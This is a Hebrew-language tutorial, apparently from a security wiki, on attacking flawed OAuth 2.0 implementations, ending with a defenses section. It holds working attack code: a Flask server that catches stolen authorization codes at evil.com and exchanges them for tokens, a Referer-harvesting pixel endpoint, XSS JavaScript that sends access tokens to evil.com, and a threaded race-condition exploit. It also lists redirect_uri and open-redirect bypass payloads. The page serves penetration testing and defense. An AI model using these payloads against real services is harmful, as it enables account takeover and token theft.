תקיפת OAuth 2.0 - OAuth 2.0 Attacks¶
מבוא¶
פרוטוקול OAuth 2.0 הוא הסטנדרט הנפוץ ביותר להרשאה מאומתת (delegated authorization) באינטרנט. הוא מאפשר למשתמשים לתת לאפליקציות צד שלישי גישה למשאבים שלהם מבלי לחשוף את הסיסמה. למרות שהפרוטוקול עצמו תוכנן להיות מאובטח, הטמעות לקויות יוצרות חולשות קריטיות שמאפשרות גניבת טוקנים, השתלטות על חשבונות, והסלמת הרשאות.
סקירת זרימות OAuth 2.0¶
זרימת Authorization Code¶
הזרימה המאובטחת ביותר, מיועדת לאפליקציות צד-שרת:
1. משתמש -> אפליקציה: לחיצה על "התחבר עם Google"
2. אפליקציה -> Authorization Server: הפניה עם client_id, redirect_uri, scope, state
3. משתמש -> Authorization Server: הזנת פרטי התחברות ואישור
4. Authorization Server -> אפליקציה: הפניה חזרה עם authorization code
5. אפליקציה -> Authorization Server: החלפת code ב-access token (בקשת backend)
6. אפליקציה -> Resource Server: גישה למשאבים עם access token
בקשת הרשאה:
GET /authorize?
response_type=code&
client_id=app123&
redirect_uri=https://app.com/callback&
scope=read+write&
state=random_csrf_token
Host: oauth-server.com
החלפת code בטוקן:
POST /token HTTP/1.1
Host: oauth-server.com
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&
code=AUTH_CODE_HERE&
redirect_uri=https://app.com/callback&
client_id=app123&
client_secret=SECRET
זרימת Implicit¶
מיועדת לאפליקציות צד-לקוח (SPA), מחזירה טוקן ישירות ב-URL:
GET /authorize?
response_type=token&
client_id=app123&
redirect_uri=https://app.com/callback&
scope=read
Host: oauth-server.com
תגובה:
HTTP/1.1 302 Found
Location: https://app.com/callback#access_token=TOKEN&token_type=bearer&expires_in=3600
זרימת Client Credentials¶
לתקשורת בין שרתים (machine-to-machine):
POST /token HTTP/1.1
Host: oauth-server.com
Content-Type: application/x-www-form-urlencoded
grant_type=client_credentials&
client_id=app123&
client_secret=SECRET&
scope=admin
תקיפה 1: מניפולציית Redirect URI - Redirect URI Manipulation¶
הרקע¶
כאשר ה-redirect_uri לא מאומת כראוי, תוקף יכול להפנות את ה-authorization code או את הטוקן לשרת שלו.
דוגמאות לעקיפת בדיקת redirect_uri¶
# URI מקורי
redirect_uri=https://app.com/callback
# עקיפה באמצעות subdomain
redirect_uri=https://evil.app.com/callback
# עקיפה באמצעות path traversal
redirect_uri=https://app.com/callback/../evil
# עקיפה באמצעות parameter pollution
redirect_uri=https://app.com/callback&redirect_uri=https://evil.com
# עקיפה באמצעות קידוד URL
redirect_uri=https://app.com%40evil.com/callback
# עקיפה באמצעות open redirect באפליקציה
redirect_uri=https://app.com/redirect?url=https://evil.com
# עקיפה באמצעות fragment
redirect_uri=https://app.com/callback#@evil.com
# עקיפה באמצעות localhost variants
redirect_uri=https://app.com/callback@evil.com
redirect_uri=https://evil.com#app.com/callback
redirect_uri=https://app.com/callback%23@evil.com
תרחיש תקיפה מלא¶
שלב 1: התוקף יוצר לינק זדוני
https://oauth-server.com/authorize?
response_type=code&
client_id=legit_app&
redirect_uri=https://evil.com/steal&
scope=read+write&
state=xyz
שלב 2: הקורבן לוחץ על הלינק ומאשר
שלב 3: ה-authorization code נשלח לתוקף
https://evil.com/steal?code=STOLEN_CODE&state=xyz
שלב 4: התוקף מחליף את ה-code בטוקן
קוד תקיפה¶
from flask import Flask, request
import requests
app = Flask(__name__)
OAUTH_TOKEN_URL = "https://oauth-server.com/token"
CLIENT_ID = "legit_app_id"
CLIENT_SECRET = "stolen_or_known_secret"
@app.route('/steal')
def steal_code():
"""קבלת authorization code גנוב"""
code = request.args.get('code')
if code:
# החלפת הקוד בטוקן
resp = requests.post(OAUTH_TOKEN_URL, data={
'grant_type': 'authorization_code',
'code': code,
'redirect_uri': 'https://evil.com/steal',
'client_id': CLIENT_ID,
'client_secret': CLIENT_SECRET
})
token_data = resp.json()
access_token = token_data.get('access_token')
print(f"[+] גנבנו טוקן: {access_token}")
# שימוש בטוקן לגישה למידע הקורבן
user_info = requests.get(
"https://oauth-server.com/userinfo",
headers={"Authorization": f"Bearer {access_token}"}
)
print(f"[+] מידע על הקורבן: {user_info.json()}")
return "תודה!", 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
תקיפה 2: יירוט Authorization Code - Code Interception via Referer¶
הרקע¶
כאשר עמוד ה-callback מכיל קישורים חיצוניים או טוען משאבים חיצוניים, ה-authorization code עלול לדלוף דרך ה-Referer header.
תרחיש¶
# עמוד ה-callback מכיל תמונה חיצונית או לינק
GET /callback?code=SECRET_CODE HTTP/1.1
Host: app.com
# התגובה מכילה:
<html>
<img src="https://external-analytics.com/pixel.gif">
<a href="https://external-site.com">Click here</a>
</html>
# כאשר הדפדפן טוען את התמונה, ה-Referer נשלח:
GET /pixel.gif HTTP/1.1
Host: external-analytics.com
Referer: https://app.com/callback?code=SECRET_CODE
ניצול¶
from flask import Flask, request
app = Flask(__name__)
@app.route('/pixel.gif')
def steal_via_referer():
"""גניבת code דרך Referer header"""
referer = request.headers.get('Referer', '')
if 'code=' in referer:
# חילוץ ה-code מה-Referer
import urllib.parse
parsed = urllib.parse.urlparse(referer)
params = urllib.parse.parse_qs(parsed.query)
code = params.get('code', [''])[0]
print(f"[+] קוד שנגנב מ-Referer: {code}")
with open('stolen_codes.txt', 'a') as f:
f.write(f"{code}\n")
# החזרת תמונה ריקה בגודל 1x1
return b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x21\xf9\x04\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b', 200, {'Content-Type': 'image/gif'}
תקיפה 3: CSRF ב-OAuth - חוסר פרמטר State¶
הרקע¶
פרמטר state נועד למנוע CSRF בזרימת OAuth. כאשר הוא חסר או לא מאומת, תוקף יכול לקשר את חשבון הקורבן לחשבון OAuth של התוקף.
תרחיש תקיפה¶
שלב 1: התוקף מתחיל זרימת OAuth ועוצר לפני ה-callback
הוא מקבל authorization code משלו
שלב 2: התוקף שולח לקורבן את לינק ה-callback עם הקוד שלו:
https://app.com/callback?code=ATTACKER_CODE
שלב 3: הקורבן לוחץ -> החשבון שלו מקושר לחשבון OAuth של התוקף
שלב 4: התוקף מתחבר עם חשבון ה-OAuth שלו ומקבל גישה לחשבון הקורבן
בדיקת החולשה¶
# בקשה מקורית - שימו לב לפרמטר state
GET /authorize?
response_type=code&
client_id=app123&
redirect_uri=https://app.com/callback&
scope=read&
state=abc123
Host: oauth-server.com
# בדיקה: האם האפליקציה מאמתת את state?
# נסו לשלוח callback ללא state או עם state שונה:
GET /callback?code=VALID_CODE HTTP/1.1
Host: app.com
# אם עובד ללא state -> חשוף ל-CSRF
תקיפה 4: דליפת טוקן דרך Referer - Token Leakage¶
הרקע¶
בזרימת Implicit, הטוקן מועבר ב-URL fragment (#). למרות ש-fragments לא נשלחים בדרך כלל ב-Referer, JavaScript יכול לקרוא אותם ולהעביר אותם.
תרחיש¶
# ה-callback מחזיר את הטוקן ב-fragment
HTTP/1.1 302 Found
Location: https://app.com/callback#access_token=SECRET_TOKEN&token_type=bearer
# אם האפליקציה מעבירה את הטוקן לפרמטר URL:
https://app.com/dashboard?token=SECRET_TOKEN
# כעת הטוקן יודלף ב-Referer לכל אתר חיצוני
קוד JavaScript שגונב טוקן מ-fragment¶
// קוד זדוני שיכול להיות מוזרק באמצעות XSS
if (window.location.hash) {
var fragment = window.location.hash.substring(1);
var params = new URLSearchParams(fragment);
var token = params.get('access_token');
if (token) {
// שליחת הטוקן לתוקף
new Image().src = 'https://evil.com/steal?token=' + token;
}
}
תקיפה 5: עקיפת PKCE - PKCE Downgrade Attack¶
הרקע¶
PKCE (Proof Key for Code Exchange) נועד למנוע יירוט של authorization codes. אם השרת לא דורש PKCE באופן מחייב, ניתן לבצע downgrade.
זרימת PKCE תקינה¶
1. הלקוח יוצר code_verifier (מחרוזת אקראית)
2. הלקוח מחשב code_challenge = SHA256(code_verifier)
3. בקשת הרשאה כוללת code_challenge
4. בהחלפת code בטוקן, הלקוח שולח code_verifier
5. השרת מוודא ש-SHA256(code_verifier) == code_challenge
תקיפת Downgrade¶
# בקשה מקורית עם PKCE
GET /authorize?
response_type=code&
client_id=app123&
redirect_uri=https://app.com/callback&
code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM&
code_challenge_method=S256
Host: oauth-server.com
# תקיפה: שליחת בקשה ללא PKCE
GET /authorize?
response_type=code&
client_id=app123&
redirect_uri=https://app.com/callback
Host: oauth-server.com
# אם השרת מקבל בקשה ללא PKCE -> חשוף ל-downgrade
# בשלב ההחלפה, לא צריך code_verifier:
POST /token
grant_type=authorization_code&
code=STOLEN_CODE&
redirect_uri=https://app.com/callback&
client_id=app123
תקיפה 6: ניצול הרשאות - Scope Abuse and Privilege Escalation¶
הרקע¶
שרתים שלא מאמתים כראוי את ה-scope המבוקש עלולים לתת הרשאות מעבר למה שאושר.
תרחישי תקיפה¶
# בקשת scope מינימלי
GET /authorize?
response_type=code&
client_id=app123&
redirect_uri=https://app.com/callback&
scope=read
Host: oauth-server.com
# תקיפה 1: הוספת scope נוסף
GET /authorize?
response_type=code&
client_id=app123&
redirect_uri=https://app.com/callback&
scope=read+write+admin
Host: oauth-server.com
# תקיפה 2: שינוי scope בבקשת token
POST /token
grant_type=authorization_code&
code=AUTH_CODE&
redirect_uri=https://app.com/callback&
client_id=app123&
client_secret=SECRET&
scope=admin
בדיקה עם Burp¶
# יירטו את בקשת ה-authorize ושנו את ה-scope
# בדקו אם השרת מציג למשתמש את ה-scope האמיתי
# או שהוא מציג רק את ה-scope המקורי של האפליקציה
# נסו גם scope שלא קיים - שרתים מסוימים מתעלמים מ-scopes לא מוכרים
scope=read+write+admin+superadmin+god_mode
תקיפה 7: מרוץ תהליכים בהחלפת טוקן - Race Conditions in Token Exchange¶
הרקע¶
Authorization codes הם חד-פעמיים. אך אם יש חלון זמן בין בדיקת התקינות לביטול, ניתן להשתמש באותו code פעמיים.
תקיפה¶
import threading
import requests
def race_condition_token_exchange(code, client_id, client_secret, redirect_uri):
"""ניצול race condition בהחלפת authorization code"""
results = []
def exchange_code():
resp = requests.post(
"https://oauth-server.com/token",
data={
'grant_type': 'authorization_code',
'code': code,
'redirect_uri': redirect_uri,
'client_id': client_id,
'client_secret': client_secret
}
)
results.append(resp.json())
# שליחת מספר בקשות במקביל
threads = []
for _ in range(20):
t = threading.Thread(target=exchange_code)
threads.append(t)
# הפעלה בו-זמנית
for t in threads:
t.start()
for t in threads:
t.join()
# בדיקת תוצאות
tokens = [r.get('access_token') for r in results if 'access_token' in r]
print(f"[*] קיבלנו {len(tokens)} טוקנים מקוד יחיד")
# אם קיבלנו יותר מטוקן אחד - חולשה!
if len(tokens) > 1:
print("[+] נמצא race condition!")
for i, token in enumerate(tokens):
print(f" טוקן {i+1}: {token}")
return tokens
תקיפה 8: שרשור Open Redirect לגניבת טוקנים¶
הרקע¶
גם כאשר ה-redirect_uri מאומת, אם קיים open redirect באפליקציה עצמה, ניתן לשרשר אותו לגניבת טוקנים.
תרחיש מלא¶
# שלב 1: מציאת open redirect באפליקציה
GET /goto?url=https://evil.com HTTP/1.1
Host: app.com
HTTP/1.1 302 Found
Location: https://evil.com
# שלב 2: שרשור עם OAuth
# ה-redirect_uri עובר את הבדיקה כי הוא באותו דומיין
GET /authorize?
response_type=token&
client_id=app123&
redirect_uri=https://app.com/goto?url=https://evil.com&
scope=read
Host: oauth-server.com
# שלב 3: הזרימה
# 1. OAuth Server מפנה ל: https://app.com/goto?url=https://evil.com#access_token=TOKEN
# 2. האפליקציה מפנה ל: https://evil.com#access_token=TOKEN
# 3. התוקף מקבל את הטוקן!
שיטות למציאת Open Redirect¶
# בדיקת פרמטרים נפוצים
/redirect?url=https://evil.com
/goto?url=https://evil.com
/login?next=https://evil.com
/logout?redirect=https://evil.com
/oauth/callback?continue=https://evil.com
# עקיפות
/redirect?url=//evil.com
/redirect?url=https:evil.com
/redirect?url=\/\/evil.com
/redirect?url=https://app.com@evil.com
/redirect?url=https://app.com.evil.com
דוגמאות מהעולם האמיתי¶
חולשה ב-Facebook OAuth (2013)¶
נמצא שניתן לשנות את ה-redirect_uri ל-URL אחר באותו דומיין facebook.com. בשילוב עם open redirect בתוך Facebook, תוקפים גנבו access tokens של משתמשים.
חולשה ב-Slack OAuth (2017)¶
Slack לא אימת כראוי את ה-state parameter, מה שאפשר תקיפות CSRF שקישרו חשבונות Slack לחשבון OAuth של תוקף.
חולשה ב-Microsoft OAuth (2020)¶
נמצא שניתן להשתמש ב-redirect_uri עם subdomain שונה תחת *.microsoft.com, מה שבשילוב עם XSS ב-subdomain אחר אפשר גניבת טוקנים.
הגנות - Defenses¶
1. אימות redirect_uri מדויק¶
# שגוי - בדיקת prefix
def validate_redirect(uri):
return uri.startswith("https://app.com") # מאפשר app.com.evil.com
# נכון - התאמה מדויקת
ALLOWED_REDIRECTS = [
"https://app.com/callback",
"https://app.com/oauth/callback"
]
def validate_redirect(uri):
return uri in ALLOWED_REDIRECTS
2. שימוש ב-PKCE¶
import hashlib
import base64
import secrets
def generate_pkce():
"""יצירת PKCE code verifier ו-challenge"""
code_verifier = secrets.token_urlsafe(64)
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).rstrip(b'=').decode()
return code_verifier, code_challenge
3. אימות state parameter¶
import secrets
from flask import session
def generate_state():
state = secrets.token_urlsafe(32)
session['oauth_state'] = state
return state
def validate_state(received_state):
expected = session.pop('oauth_state', None)
if not expected or expected != received_state:
raise ValueError("Invalid state parameter - possible CSRF")
4. שיטות הגנה נוספות¶
- השתמשו תמיד בזרימת Authorization Code (לא Implicit)
- הפעילו PKCE לכל הלקוחות
- בצעו אימות מדויק של redirect_uri (לא prefix match)
- אמתו תמיד את פרמטר state
- השתמשו ב-Referrer-Policy: no-referrer למניעת דליפה
- הגבילו את ה-scope למינימום הנדרש
- בצעו ביטול מיידי של authorization code לאחר שימוש
- הגבילו את אורך חיי הטוקן
סיכום¶
תקיפות OAuth 2.0 מנצלות בעיקר הטמעות לקויות ולא חולשות בפרוטוקול עצמו. הנקודות הקריטיות:
- אימות redirect_uri חייב להיות מדויק ולא מבוסס prefix
- פרמטר state חובה לכל זרימת OAuth
- יש להשתמש ב-PKCE תמיד
- דליפות קוד וטוקן דרך Referer הן נפוצות ומסוכנות
- בדקו תמיד open redirects באפליקציה - הם משמשים לשרשור תקיפות OAuth